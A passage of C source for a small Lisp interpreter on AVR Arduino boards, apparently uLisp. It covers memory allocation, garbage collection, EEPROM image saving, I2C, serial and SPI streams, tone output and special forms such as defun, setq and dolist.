\/* Bytes *\/\n\n#elif defined(__AVR_ATmega1284P__)\n#define WORKSPACESIZE 2816-SDSIZE \/* Cells (4*bytes) *\/\n#define IMAGEDATASIZE 893 \/* Cells *\/\n#define SYMBOLTABLESIZE 512 \/* Bytes *\/\n#endif\n\nobject Workspace[WORKSPACESIZE] WORDALIGNED;\nchar SymbolTable[SYMBOLTABLESIZE];\ntypedef int BitOrder;\n#define SDCARD_SS_PIN 10\n\n\/\/ Global variables\n\njmp_buf exception;\nunsigned int Freespace = 0;\nobject *Freelist;\nchar *SymbolTop = SymbolTable;\nunsigned int I2CCount;\nunsigned int TraceFn[TRACEMAX];\nunsigned int TraceDepth[TRACEMAX];\n\nobject *GlobalEnv;\nobject *GCStack = NULL;\nobject *GlobalString;\nint GlobalStringIndex = 0;\nchar BreakLevel = 0;\nchar LastChar = 0;\nchar LastPrint = 0;\nchar PrintReadably = 1;\n\n\/\/ Flags\nenum flag { RETURNFLAG, ESCAPE, EXITEDITOR };\nvolatile char Flags;\n\n\/\/ Forward references\nobject *tee;\nobject *tf_progn (object *form, object *env);\nobject *eval (object *form, object *env);\nobject *read ();\nvoid repl(object *env);\nvoid printobject (object *form, pfun_t pfun);\nchar *lookupbuiltin (symbol_t name);\nint lookupfn (symbol_t name);\nint builtin (char* n);\nvoid Display (char c);\n\n\/\/ Set up workspace\n\nvoid initworkspace () {\n Freelist = NULL;\n for (int i=WORKSPACESIZE-1; i>=0; i--) {\n object *obj = &Workspace[i];\n car(obj) = NULL;\n cdr(obj) = Freelist;\n Freelist = obj;\n Freespace++;\n }\n}\n\nobject *myalloc () {\n if (Freespace == 0) error(PSTR(\"No room\"));\n object *temp = Freelist;\n Freelist = cdr(Freelist);\n Freespace--;\n return temp;\n}\n\ninline void myfree (object *obj) {\n car(obj) = NULL;\n cdr(obj) = Freelist;\n Freelist = obj;\n Freespace++;\n}\n\n\/\/ Make each type of object\n\nobject *number (int n) {\n object *ptr = myalloc();\n ptr->type = NUMBER;\n ptr->integer = n;\n return ptr;\n}\n\nobject *character (char c) {\n object *ptr = myalloc();\n ptr->type = CHARACTER;\n ptr->integer = c;\n return ptr;\n}\n\nobject *cons (object *arg1, object *arg2) {\n object *ptr = myalloc();\n ptr->car = arg1;\n ptr->cdr = arg2;\n return ptr;\n}\n\nobject *symbol (symbol_t name) {\n object *ptr = myalloc();\n ptr->type = SYMBOL;\n ptr->name = name;\n return ptr;\n}\n\nobject *stream (unsigned char streamtype, unsigned char address) {\n object *ptr = myalloc();\n ptr->type = STREAM;\n ptr->integer = streamtype<<8 | address;\n return ptr;\n}\n\n\/\/ Garbage collection\n\nvoid markobject (object *obj) {\n MARK:\n if (obj == NULL) return;\n if (marked(obj)) return;\n\n object* arg = car(obj);\n unsigned int type = obj->type;\n mark(obj);\n \n if (type >= PAIR || type == ZERO) { \/\/ cons\n markobject(arg);\n obj = cdr(obj);\n goto MARK;\n }\n\n if (type == STRING) {\n obj = cdr(obj);\n while (obj != NULL) {\n arg = car(obj);\n mark(obj);\n obj = arg;\n }\n }\n}\n\nvoid sweep () {\n Freelist = NULL;\n Freespace = 0;\n for (int i=WORKSPACESIZE-1; i>=0; i--) {\n object *obj = &Workspace[i];\n if (!marked(obj)) myfree(obj); else unmark(obj);\n }\n}\n\nvoid gc (object *form, object *env) {\n #if defined(printgcs)\n int start = Freespace;\n #endif\n markobject(tee); \n markobject(GlobalEnv);\n markobject(GCStack);\n markobject(form);\n markobject(env);\n sweep();\n #if defined(printgcs)\n pfl(pserial); pserial('{'); pint(Freespace - start, pserial); pserial('}');\n #endif\n}\n\n\/\/ Compact image\n\nvoid movepointer (object *from, object *to) {\n for (int i=0; i<WORKSPACESIZE; i++) {\n object *obj = &Workspace[i];\n unsigned int type = (obj->type) & ~MARKBIT;\n if (marked(obj) && (type >= STRING || type==ZERO)) {\n if (car(obj) == (object *)((unsigned int)from | MARKBIT)) \n car(obj) = (object *)((unsigned int)to | MARKBIT);\n if (cdr(obj) == from) cdr(obj) = to;\n }\n }\n \/\/ Fix strings\n for (int i=0; i<WORKSPACESIZE; i++) {\n object *obj = &Workspace[i];\n if (marked(obj) && ((obj->type) & ~MARKBIT) == STRING) {\n obj = cdr(obj);\n while (obj != NULL) {\n if (cdr(obj) == to) cdr(obj) = from;\n obj = (object *)((unsigned int)(car(obj)) & ~MARKBIT);\n }\n }\n }\n}\n \nint compactimage (object **arg) {\n markobject(tee);\n markobject(GlobalEnv);\n markobject(GCStack);\n object *firstfree = Workspace;\n while (marked(firstfree)) firstfree++;\n object *obj = &Workspace[WORKSPACESIZE-1];\n while (firstfree < obj) {\n if (marked(obj)) {\n car(firstfree) = car(obj);\n cdr(firstfree) = cdr(obj);\n unmark(obj);\n movepointer(obj, firstfree);\n if (GlobalEnv == obj) GlobalEnv = firstfree;\n if (GCStack == obj) GCStack = firstfree;\n if (*arg == obj) *arg = firstfree;\n while (marked(firstfree)) firstfree++;\n }\n obj--;\n }\n sweep();\n return firstfree - Workspace;\n}\n\n\/\/ Make SD card filename\n\nchar *MakeFilename (object *arg) {\n char *buffer = SymbolTop;\n int i = 0;\n do {\n char c = nthchar(arg, i);\n if (c == '\\0') break;\n buffer[i++] = c;\n } while (i<12); \/\/ Truncate to 12 chars\n buffer[i] = '\\0';\n return buffer;\n}\n\n\/\/ Save-image and load-image\n\ntypedef struct {\n unsigned int eval;\n unsigned int datasize;\n unsigned int globalenv;\n unsigned int gcstack;\n #if SYMBOLTABLESIZE > BUFFERSIZE\n unsigned int symboltop;\n char table[SYMBOLTABLESIZE];\n #endif\n object data[IMAGEDATASIZE\/4];\n} struct_image;\n\nstruct_image EEMEM image;\n\nint saveimage (object *arg) {\n unsigned int imagesize = compactimage(&arg);\n \/\/ Save to EEPROM\n if (imagesize > IMAGEDATASIZE) {\n pfstring(PSTR(\"Error: Image size too large: \"), pserial);\n pint(imagesize, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n }\n eeprom_update_word(&image.datasize, imagesize);\n eeprom_update_word(&image.eval, (unsigned int)arg);\n eeprom_update_word(&image.globalenv, (unsigned int)GlobalEnv);\n eeprom_update_word(&image.gcstack, (unsigned int)GCStack);\n #if SYMBOLTABLESIZE > BUFFERSIZE\n eeprom_update_word(&image.symboltop, (unsigned int)SymbolTop);\n eeprom_update_block(SymbolTable, image.table, SYMBOLTABLESIZE);\n #endif\n eeprom_update_block(Workspace, image.data, imagesize*4);\n return imagesize;\n}\n\nint loadimage (object *filename) {\n (void) filename;\n unsigned int imagesize = eeprom_read_word(&image.datasize);\n if (imagesize == 0 || imagesize == 0xFFFF) error(PSTR(\"No saved image\"));\n GlobalEnv = (object *)eeprom_read_word(&image.globalenv);\n GCStack = (object *)eeprom_read_word(&image.gcstack);\n #if SYMBOLTABLESIZE > BUFFERSIZE\n SymbolTop = (char *)eeprom_read_word(&image.symboltop);\n eeprom_read_block(SymbolTable, image.table, SYMBOLTABLESIZE);\n #endif\n eeprom_read_block(Workspace, image.data, imagesize*4);\n gc(NULL, NULL);\n return imagesize;\n}\n\nvoid autorunimage () {\n object *nullenv = NULL;\n object *autorun = (object *)eeprom_read_word(&image.eval);\n if (autorun != NULL && (unsigned int)autorun != 0xFFFF) {\n loadimage(nil);\n apply(autorun, NULL, &nullenv);\n }\n}\n\n\/\/ Error handling\n\nvoid error (PGM_P string) {\n pfl(pserial); pfstring(PSTR(\"Error: \"), pserial);\n pfstring(string, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n}\n\nvoid error2 (object *symbol, PGM_P string) {\n pfl(pserial); pfstring(PSTR(\"Error: \"), pserial);\n if (symbol == NULL) pfstring(PSTR(\"function \"), pserial);\n else { pserial('\\''); printobject(symbol, pserial); pfstring(PSTR(\"' \"), pserial); }\n pfstring(string, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n}\n\n\/\/ Tracing\n\nboolean tracing (symbol_t name) {\n if (name == 0) return 0;\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] == name) return i+1;\n i++;\n }\n return 0;\n}\n\nvoid trace (symbol_t name) {\n if (tracing(name)) error(PSTR(\"Already being traced\"));\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] == 0) { TraceFn[i] = name; TraceDepth[i] = 0; return; }\n i++;\n }\n error(PSTR(\"Already tracing 3 functions\"));\n}\n\nvoid untrace (symbol_t name) {\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] == name) { TraceFn[i] = 0; return; }\n i++;\n }\n error(PSTR(\"It wasn't being traced\"));\n}\n\n\/\/ Helper functions\n\nboolean consp (object *x) {\n if (x == NULL) return false;\n unsigned int type = x->type;\n return type >= PAIR || type == ZERO;\n}\n\nboolean atom (object *x) {\n if (x == NULL) return true;\n unsigned int type = x->type;\n return type < PAIR && type != ZERO;\n}\n\nboolean listp (object *x) {\n if (x == NULL) return true;\n unsigned int type = x->type;\n return type >= PAIR || type == ZERO;\n}\n\nint toradix40 (char ch) {\n if (ch == 0) return 0;\n if (ch >= '0' && ch <= '9') return ch-'0'+30;\n ch = ch | 0x20;\n if (ch >= 'a' && ch <= 'z') return ch-'a'+1;\n return -1; \/\/ Invalid\n}\n\nint fromradix40 (int n) {\n if (n >= 1 && n <= 26) return 'a'+n-1;\n if (n >= 30 && n <= 39) return '0'+n-30;\n return 0;\n}\n\nint pack40 (char *buffer) {\n return (((toradix40(buffer[0]) * 40) + toradix40(buffer[1])) * 40 + toradix40(buffer[2]));\n}\n\nboolean valid40 (char *buffer) {\n return (toradix40(buffer[0]) >= 0 && toradix40(buffer[1]) >= 0 && toradix40(buffer[2]) >= 0);\n}\n\nint digitvalue (char d) {\n if (d>='0' && d<='9') return d-'0';\n d = d | 0x20;\n if (d>='a' && d<='f') return d-'a'+10;\n return 16;\n}\n\nchar *name (object *obj){\n if (obj->type != SYMBOL) error(PSTR(\"Error in name\"));\n symbol_t x = obj->name;\n if (x < ENDFUNCTIONS) return lookupbuiltin(x);\n else if (x >= 64000) return lookupsymbol(x);\n char *buffer = SymbolTop;\n buffer[3] = '\\0';\n for (int n=2; n>=0; n--) {\n buffer[n] = fromradix40(x % 40);\n x = x \/ 40;\n }\n return buffer;\n}\n\nint integer (object *obj){\n if (!numberp(obj)) error(PSTR(\"Not a number\"));\n return obj->integer;\n}\n\nint fromchar (object *obj){\n if (!characterp(obj)) error(PSTR(\"Not a character\"));\n return obj->integer;\n}\n\nint istream (object *obj){\n if (!streamp(obj)) error(PSTR(\"Not a stream\"));\n return obj->integer;\n}\n\nint issymbol (object *obj, symbol_t n) {\n return symbolp(obj) && obj->name == n;\n}\n\nint eq (object *arg1, object *arg2) {\n int same_object = (arg1 == arg2);\n int same_value = (arg1->cdr == arg2->cdr);\n int same_symbol = (symbolp(arg1) && symbolp(arg2) && same_value);\n int same_number = (numberp(arg1) && numberp(arg2) && same_value);\n int same_character = (characterp(arg1) && characterp(arg2) && same_value);\n return same_object || same_symbol || same_number || same_character;\n}\n\nint listlength (object *list) {\n int length = 0;\n while (list != NULL) {\n list = cdr(list);\n length++;\n }\n return length;\n}\n\n\/\/ Association lists\n\nobject *assoc (object *key, object *list) {\n while (list != NULL) {\n object *pair = first(list);\n if (eq(key,car(pair))) return pair;\n list = cdr(list);\n }\n return nil;\n}\n\nobject *delassoc (object *key, object **alist) {\n object *list = *alist;\n object *prev = NULL;\n while (list != NULL) {\n object *pair = first(list);\n if (eq(key,car(pair))) {\n if (prev == NULL) *alist = cdr(list);\n else cdr(prev) = cdr(list);\n return key;\n }\n prev = list;\n list = cdr(list);\n }\n return nil;\n}\n\n\/\/ String utilities\n\nvoid indent (int spaces, pfun_t pfun) {\n for (int i=0; i<spaces; i++) pfun(' ');\n}\n\nvoid buildstring (char ch, int *chars, object **head) {\n static object* tail;\n static uint8_t shift;\n if (*chars == 0) {\n shift = (sizeof(int)-1)*8;\n *chars = ch<<shift;\n object *cell = myalloc();\n if (*head == NULL) *head = cell; else tail->car = cell;\n cell->car = NULL;\n cell->integer = *chars;\n tail = cell;\n } else {\n shift = shift - 8;\n *chars = *chars | ch<<shift;\n tail->integer = *chars;\n if (shift == 0) *chars = 0;\n }\n}\n\nobject *readstring (char delim, gfun_t gfun) {\n object *obj = myalloc();\n obj->type = STRING;\n int ch = gfun();\n if (ch == EOF) return nil;\n object *head = NULL;\n int chars = 0;\n while ((ch != delim) && (ch != EOF)) {\n if (ch == '\\\\') ch = gfun();\n buildstring(ch, &chars, &head);\n ch = gfun();\n }\n obj->cdr = head;\n return obj;\n}\n\nint stringlength (object *form) {\n int length = 0;\n form = cdr(form);\n while (form != NULL) {\n int chars = form->integer;\n for (int i=(sizeof(int)-1)*8; i>=0; i=i-8) {\n if (chars>>i & 0xFF) length++;\n }\n form = car(form);\n }\n return length;\n}\n\nchar nthchar (object *string, int n) {\n object *arg = cdr(string);\n int top;\n if (sizeof(int) == 4) { top = n>>2; n = 3 - (n&3); }\n else { top = n>>1; n = 1 - (n&1); }\n for (int i=0; i<top; i++) {\n if (arg == NULL) return 0;\n arg = car(arg);\n }\n if (arg == NULL) return 0;\n return (arg->integer)>>(n*8) & 0xFF;\n}\n\n\/\/ Lookup variable in environment\n\nobject *value (symbol_t n, object *env) {\n while (env != NULL) {\n object *pair = car(env);\n if (pair != NULL && car(pair)->name == n) return pair;\n env = cdr(env);\n }\n return nil;\n}\n\nobject *findvalue (object *var, object *env) {\n symbol_t varname = var->name;\n object *pair = value(varname, env);\n if (pair == NULL) pair = value(varname, GlobalEnv);\n if (pair == NULL) error2(var,PSTR(\"unknown variable\"));\n return pair;\n}\n\nobject *findtwin (object *var, object *env) {\n while (env != NULL) {\n object *pair = car(env);\n if (pair != NULL && car(pair) == var) return pair;\n env = cdr(env);\n }\n return NULL;\n}\n\nvoid dropframe (int tc, object **env) {\n if (tc) {\n while (*env != NULL && car(*env) != NULL) {\n pop(*env);\n }\n } else {\n push(nil, *env);\n }\n}\n\n\/\/ Handling closures\n \nobject *closure (object *fname, object *state, object *function, object *args, object **env) {\n int trace = tracing(fname->name);\n if (trace) {\n indent(TraceDepth[trace-1]<<1, pserial);\n pint(TraceDepth[trace-1]++, pserial);\n pserial(':'); pserial(' '); pserial('('); printobject(fname, pserial);\n }\n object *params = first(function);\n function = cdr(function);\n \/\/ Push state if not already in env\n while (state != NULL) {\n object *pair = first(state);\n if (findtwin(car(pair), *env) == NULL) push(pair, *env);\n state = cdr(state);\n }\n \/\/ Add arguments to environment\n while (params != NULL && args != NULL) {\n object *value;\n object *var = first(params);\n if (var->name == AMPREST) {\n params = cdr(params);\n var = first(params);\n value = args;\n args = NULL;\n } else {\n value = first(args);\n args = cdr(args);\n }\n push(cons(var,value), *env);\n params = cdr(params);\n if (trace) { pserial(' '); printobject(value, pserial); }\n }\n if (params != NULL) error2(fname, PSTR(\"has too few parameters\"));\n if (args != NULL) error2(fname, PSTR(\"has too many parameters\"));\n if (trace) { pserial(')'); pln(pserial); }\n \/\/ Do an implicit progn\n return tf_progn(function, *env);\n}\n\nobject *apply (object *function, object *args, object **env) {\n if (symbolp(function)) {\n symbol_t name = function->name;\n int nargs = listlength(args);\n if (name >= ENDFUNCTIONS) error2(function, PSTR(\"is not valid here\"));\n if (nargs<lookupmin(name)) error2(function, PSTR(\"has too few arguments\"));\n if (nargs>lookupmax(name)) error2(function, PSTR(\"has too many arguments\"));\n return ((fn_ptr_type)lookupfn(name))(args, *env);\n }\n if (listp(function) && issymbol(car(function), LAMBDA)) {\n function = cdr(function);\n object *result = closure(NULL, NULL, function, args, env);\n return eval(result, *env);\n }\n if (listp(function) && issymbol(car(function), CLOSURE)) {\n function = cdr(function);\n object *result = closure(NULL, car(function), cdr(function), args, env);\n return eval(result, *env);\n }\n error2(function, PSTR(\"is an illegal function\"));\n return NULL;\n}\n\n\/\/ In-place operations\n\nobject **place (object *args, object *env) {\n if (atom(args)) return &cdr(findvalue(args, env));\n object* function = first(args);\n if (issymbol(function, CAR) || issymbol(function, FIRST)) {\n object *value = eval(second(args), env);\n if (!listp(value)) error(PSTR(\"Can't take car\"));\n return &car(value);\n }\n if (issymbol(function, CDR) || issymbol(function, REST)) {\n object *value = eval(second(args), env);\n if (!listp(value)) error(PSTR(\"Can't take cdr\"));\n return &cdr(value);\n }\n if (issymbol(function, NTH)) {\n int index = integer(eval(second(args), env));\n object *list = eval(third(args), env);\n if (atom(list)) error(PSTR(\"'nth' second argument is not a list\"));\n while (index > 0) {\n list = cdr(list);\n if (list == NULL) error(PSTR(\"'nth' index out of range\"));\n index--;\n }\n return &car(list);\n }\n error(PSTR(\"Illegal place\"));\n return nil;\n}\n\n\/\/ Checked car and cdr\n\ninline object *carx (object *arg) {\n if (!listp(arg)) error(PSTR(\"Can't take car\"));\n if (arg == nil) return nil;\n return car(arg);\n}\n\ninline object *cdrx (object *arg) {\n if (!listp(arg)) error(PSTR(\"Can't take cdr\"));\n if (arg == nil) return nil;\n return cdr(arg);\n}\n\n\/\/ I2C interface\n\n#if defined(__AVR_ATmega328P__)\nuint8_t const TWI_SDA_PIN = 18;\nuint8_t const TWI_SCL_PIN = 19;\n#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\nuint8_t const TWI_SDA_PIN = 20;\nuint8_t const TWI_SCL_PIN = 21;\n#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284P__)\nuint8_t const TWI_SDA_PIN = 17;\nuint8_t const TWI_SCL_PIN = 16;\n#elif defined(__AVR_ATmega32U4__)\nuint8_t const TWI_SDA_PIN = 6;\nuint8_t const TWI_SCL_PIN = 5;\n#endif\n\nuint32_t const F_TWI = 400000L; \/\/ Hardware I2C clock in Hz\nuint8_t const TWSR_MTX_DATA_ACK = 0x28;\nuint8_t const TWSR_MTX_ADR_ACK = 0x18;\nuint8_t const TWSR_MRX_ADR_ACK = 0x40;\nuint8_t const TWSR_START = 0x08;\nuint8_t const TWSR_REP_START = 0x10;\nuint8_t const I2C_READ = 1;\nuint8_t const I2C_WRITE = 0;\n\nvoid I2Cinit(bool enablePullup) {\n TWSR = 0; \/\/ no prescaler\n TWBR = (F_CPU\/F_TWI - 16)\/2; \/\/ set bit rate factor\n if (enablePullup) {\n digitalWrite(TWI_SDA_PIN, HIGH);\n digitalWrite(TWI_SCL_PIN, HIGH);\n }\n}\n\nuint8_t I2Cread() {\n if (I2CCount != 0) I2CCount--;\n TWCR = 1<<TWINT | 1<<TWEN | ((I2CCount == 0) ? 0 : (1<<TWEA));\n while (!(TWCR & 1<<TWINT));\n return TWDR;\n}\n\nbool I2Cwrite(uint8_t data) {\n TWDR = data;\n TWCR = 1<<TWINT | 1 << TWEN;\n while (!(TWCR & 1<<TWINT));\n return (TWSR & 0xF8) == TWSR_MTX_DATA_ACK;\n}\n\nbool I2Cstart(uint8_t address, uint8_t read) {\n uint8_t addressRW = address<<1 | read;\n TWCR = 1<<TWINT | 1<<TWSTA | 1<<TWEN; \/\/ send START condition\n while (!(TWCR & 1<<TWINT));\n if ((TWSR & 0xF8) != TWSR_START && (TWSR & 0xF8) != TWSR_REP_START) return false;\n TWDR = addressRW; \/\/ send device address and direction\n TWCR = 1<<TWINT | 1<<TWEN;\n while (!(TWCR & 1<<TWINT));\n if (addressRW & I2C_READ) return (TWSR & 0xF8) == TWSR_MRX_ADR_ACK;\n else return (TWSR & 0xF8) == TWSR_MTX_ADR_ACK;\n}\n\nbool I2Crestart(uint8_t address, uint8_t read) {\n return I2Cstart(address, read);\n}\n\nvoid I2Cstop(uint8_t read) {\n (void) read;\n TWCR = 1<<TWINT | 1<<TWEN | 1<<TWSTO;\n while (TWCR & 1<<TWSTO); \/\/ wait until stop and bus released\n}\n\n\/\/ Streams\n\ninline int spiread () { return SPI.transfer(0); }\n#if defined(__AVR_ATmega1284P__)\ninline int serial1read () { while (!Serial1.available()) testescape(); return Serial1.read(); }\n#elif defined(__AVR_ATmega2560__)\ninline int serial1read () { while (!Serial1.available()) testescape(); return Serial1.read(); }\ninline int serial2read () { while (!Serial2.available()) testescape(); return Serial2.read(); }\ninline int serial3read () { while (!Serial3.available()) testescape(); return Serial3.read(); }\n#endif\n#if defined(sdcardsupport)\nFile SDpfile, SDgfile;\ninline int SDread () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n return SDgfile.read();\n}\n#endif\n\nvoid serialbegin (int address, int baud) {\n #if defined(__AVR_ATmega328P__)\n (void) address; (void) baud;\n #elif defined(__AVR_ATmega1284P__)\n if (address == 1) Serial1.begin((long)baud*100);\n else error(PSTR(\"'with-serial' port not supported\"));\n #elif defined(__AVR_ATmega2560__)\n if (address == 1) Serial1.begin((long)baud*100);\n else if (address == 2) Serial2.begin((long)baud*100);\n else if (address == 3) Serial3.begin((long)baud*100);\n else error(PSTR(\"'with-serial' port not supported\"));\n #endif\n}\n\nvoid serialend (int address) {\n #if defined(__AVR_ATmega328P__)\n (void) address;\n #elif defined(__AVR_ATmega1284P__)\n if (address == 1) Serial1.end();\n #elif defined(__AVR_ATmega2560__)\n if (address == 1) Serial1.end();\n else if (address == 2) Serial2.end();\n else if (address == 3) Serial3.end();\n #endif\n}\n\ngfun_t gstreamfun (object *args) {\n int streamtype = SERIALSTREAM;\n int address = 0;\n gfun_t gfun = gserial;\n if (args != NULL) {\n int stream = istream(first(args));\n streamtype = stream>>8; address = stream & 0xFF;\n }\n if (streamtype == I2CSTREAM) gfun = (gfun_t)I2Cread;\n else if (streamtype == SPISTREAM) gfun = spiread;\n else if (streamtype == SERIALSTREAM) {\n if (address == 0) gfun = gserial;\n #if defined(__AVR_ATmega1284P__)\n else if (address == 1) gfun = serial1read;\n #elif defined(__AVR_ATmega2560__)\n else if (address == 1) gfun = serial1read;\n else if (address == 2) gfun = serial2read;\n else if (address == 3) gfun = serial3read;\n #endif\n }\n #if defined(sdcardsupport)\n else if (streamtype == SDSTREAM) gfun = (gfun_t)SDread;\n #endif\n else error(PSTR(\"Unknown stream type\"));\n return gfun;\n}\n\ninline void spiwrite (char c) { SPI.transfer(c); }\n#if defined(__AVR_ATmega1284P__)\ninline void serial1write (char c) { Serial1.write(c); }\n#elif defined(__AVR_ATmega2560__)\ninline void serial1write (char c) { Serial1.write(c); }\ninline void serial2write (char c) { Serial2.write(c); }\ninline void serial3write (char c) { Serial3.write(c); }\n#endif\n#if defined(sdcardsupport)\ninline void SDwrite (char c) { SDpfile.write(c); }\n#endif\n\npfun_t pstreamfun (object *args) {\n int streamtype = SERIALSTREAM;\n int address = 0;\n pfun_t pfun = pserial;\n if (args != NULL) {\n int stream = istream(first(args));\n streamtype = stream>>8; address = stream & 0xFF;\n }\n if (streamtype == I2CSTREAM) pfun = (pfun_t)I2Cwrite;\n else if (streamtype == SPISTREAM) pfun = spiwrite;\n else if (streamtype == SERIALSTREAM) {\n if (address == 0) pfun = pserial;\n #if defined(__AVR_ATmega1284P__)\n else if (address == 1) pfun = serial1write;\n #elif defined(__AVR_ATmega2560__)\n else if (address == 1) pfun = serial1write;\n else if (address == 2) pfun = serial2write;\n else if (address == 3) pfun = serial3write;\n #endif\n }\n #if defined(sdcardsupport)\n else if (streamtype == SDSTREAM) pfun = (pfun_t)SDwrite;\n #endif\n else error(PSTR(\"unknown stream type\"));\n return pfun;\n}\n\n\/\/ Check pins\n\nvoid checkanalogread (int pin) {\n#if defined(__AVR_ATmega328P__)\n if (!(pin>=0 && pin<=5)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(__AVR_ATmega2560__)\n if (!(pin>=0 && pin<=15)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(__AVR_ATmega1284P__)\n if (!(pin>=0 && pin<=7)) error(PSTR(\"'analogread' invalid pin\"));\n#endif\n}\n\nvoid checkanalogwrite (int pin) {\n#if defined(__AVR_ATmega328P__)\n if (!(pin>=3 && pin<=11 && pin!=4 && pin!=7 && pin!=8)) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(__AVR_ATmega2560__)\n if (!((pin>=2 && pin<=13) || (pin>=44 && pin <=46))) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(__AVR_ATmega1284P__)\n if (!(pin==3 || pin==4 || pin==6 || pin==7 || (pin>=12 && pin<=15))) error(PSTR(\"'analogwrite' invalid pin\"));\n#endif\n}\n\n\/\/ Note\n\nconst uint8_t scale[] PROGMEM = {239,226,213,201,190,179,169,160,151,142,134,127};\n\nvoid playnote (int pin, int note, int octave) {\n #if defined(__AVR_ATmega328P__)\n if (pin == 3) {\n DDRD = DDRD | 1<<DDD3; \/\/ PD3 (Arduino D3) as output\n TCCR2A = 0<<COM2A0 | 1<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2B on match\n } else if (pin == 11) {\n DDRB = DDRB | 1<<DDB3; \/\/ PB3 (Arduino D11) as output\n TCCR2A = 1<<COM2A0 | 0<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2A on match\n } else error(PSTR(\"'note' pin not supported\"));\n int prescaler = 9 - octave - note\/12;\n if (prescaler<3 || prescaler>6) error(PSTR(\"'note' octave out of range\"));\n OCR2A = pgm_read_byte(&scale[note%12]) - 1;\n TCCR2B = 0<<WGM22 | prescaler<<CS20;\n\n #elif defined(__AVR_ATmega2560__)\n if (pin == 9) {\n DDRH = DDRH | 1<<DDH6; \/\/ PH6 (Arduino D9) as output\n TCCR2A = 0<<COM2A0 | 1<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2B on match\n } else if (pin == 10) {\n DDRB = DDRB | 1<<DDB4; \/\/ PB4 (Arduino D10) as output\n TCCR2A = 1<<COM2A0 | 0<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2A on match\n } else error(PSTR(\"'note' pin not supported\"));\n int prescaler = 9 - octave - note\/12;\n if (prescaler<3 || prescaler>6) error(PSTR(\"'note' octave out of range\"));\n OCR2A = pgm_read_byte(&scale[note%12]) - 1;\n TCCR2B = 0<<WGM22 | prescaler<<CS20;\n\n #elif defined(__AVR_ATmega1284P__)\n if (pin == 14) {\n DDRD = DDRD | 1<<DDD6; \/\/ PD6 (Arduino D14) as output\n TCCR2A = 0<<COM2A0 | 1<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2B on match\n } else if (pin == 15) {\n DDRD = DDRD | 1<<DDD7; \/\/ PD7 (Arduino D15) as output\n TCCR2A = 1<<COM2A0 | 0<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2A on match\n } else error(PSTR(\"'note' pin not supported\"));\n int prescaler = 9 - octave - note\/12;\n if (prescaler<3 || prescaler>6) error(PSTR(\"'note' octave out of range\"));\n OCR2A = pgm_read_byte(&scale[note%12]) - 1;\n TCCR2B = 0<<WGM22 | prescaler<<CS20;\n #endif\n}\n\nvoid nonote (int pin) {\n (void) pin;\n TCCR2B = 0<<WGM22 | 0<<CS20;\n}\n\n\/\/ Special forms\n\nobject *sp_quote (object *args, object *env) {\n (void) env;\n return first(args);\n}\n\nobject *sp_defun (object *args, object *env) {\n (void) env;\n object *var = first(args);\n if (var->type != SYMBOL) error2(var, PSTR(\"is not a symbol\"));\n object *val = cons(symbol(LAMBDA), cdr(args));\n object *pair = value(var->name,GlobalEnv);\n if (pair != NULL) { cdr(pair) = val; return var; }\n push(cons(var, val), GlobalEnv);\n return var;\n}\n\nobject *sp_defvar (object *args, object *env) {\n object *var = first(args);\n if (var->type != SYMBOL) error2(var, PSTR(\"is not a symbol\"));\n object *val = eval(second(args), env);\n object *pair = value(var->name,GlobalEnv);\n if (pair != NULL) { cdr(pair) = val; return var; }\n push(cons(var, val), GlobalEnv);\n return var;\n}\n\nobject *sp_setq (object *args, object *env) {\n object *arg = eval(second(args), env);\n object *pair = findvalue(first(args), env);\n cdr(pair) = arg;\n return arg;\n}\n\nobject *sp_loop (object *args, object *env) {\n clrflag(RETURNFLAG);\n object *start = args;\n for (;;) {\n args = start;\n while (args != NULL) {\n object *result = eval(car(args),env);\n if (tstflag(RETURNFLAG)) {\n clrflag(RETURNFLAG);\n return result;\n }\n args = cdr(args);\n }\n }\n}\n\nobject *sp_push (object *args, object *env) {\n object *item = eval(first(args), env);\n object **loc = place(second(args), env);\n push(item, *loc);\n return *loc;\n}\n\nobject *sp_pop (object *args, object *env) {\n object **loc = place(first(args), env);\n object *result = car(*loc);\n pop(*loc);\n return result;\n}\n\nobject *sp_incf (object *args, object *env) {\n object **loc = place(first(args), env);\n int increment = 1;\n int result = integer(*loc);\n args = cdr(args);\n if (args != NULL) increment = integer(eval(first(args), env));\n #if defined(checkoverflow)\n if (increment < 1) { if (INT_MIN - increment > result) error(PSTR(\"'incf' arithmetic overflow\")); }\n else { if (INT_MAX - increment < result) error(PSTR(\"'incf' arithmetic overflow\")); }\n #endif\n result = result + increment;\n *loc = number(result);\n return *loc;\n}\n\nobject *sp_decf (object *args, object *env) {\n object **loc = place(first(args), env);\n int decrement = 1;\n int result = integer(*loc);\n args = cdr(args);\n if (args != NULL) decrement = integer(eval(first(args), env));\n #if defined(checkoverflow)\n if (decrement < 1) { if (INT_MAX + decrement < result) error(PSTR(\"'decf' arithmetic overflow\")); }\n else { if (INT_MIN + decrement > result) error(PSTR(\"'decf' arithmetic overflow\")); }\n #endif\n result = result - decrement;\n *loc = number(result);\n return *loc;\n}\n\nobject *sp_setf (object *args, object *env) {\n object **loc = place(first(args), env);\n object *result = eval(second(args), env);\n *loc = result;\n return result;\n}\n\nobject *sp_dolist (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n object *result;\n object *list = eval(second(params), env);\n if (!listp(list)) error(PSTR(\"'dolist' argument is not a list\"));\n push(list, GCStack); \/\/ Don't GC the list\n object *pair = cons(var,nil);\n push(pair,env);\n params = 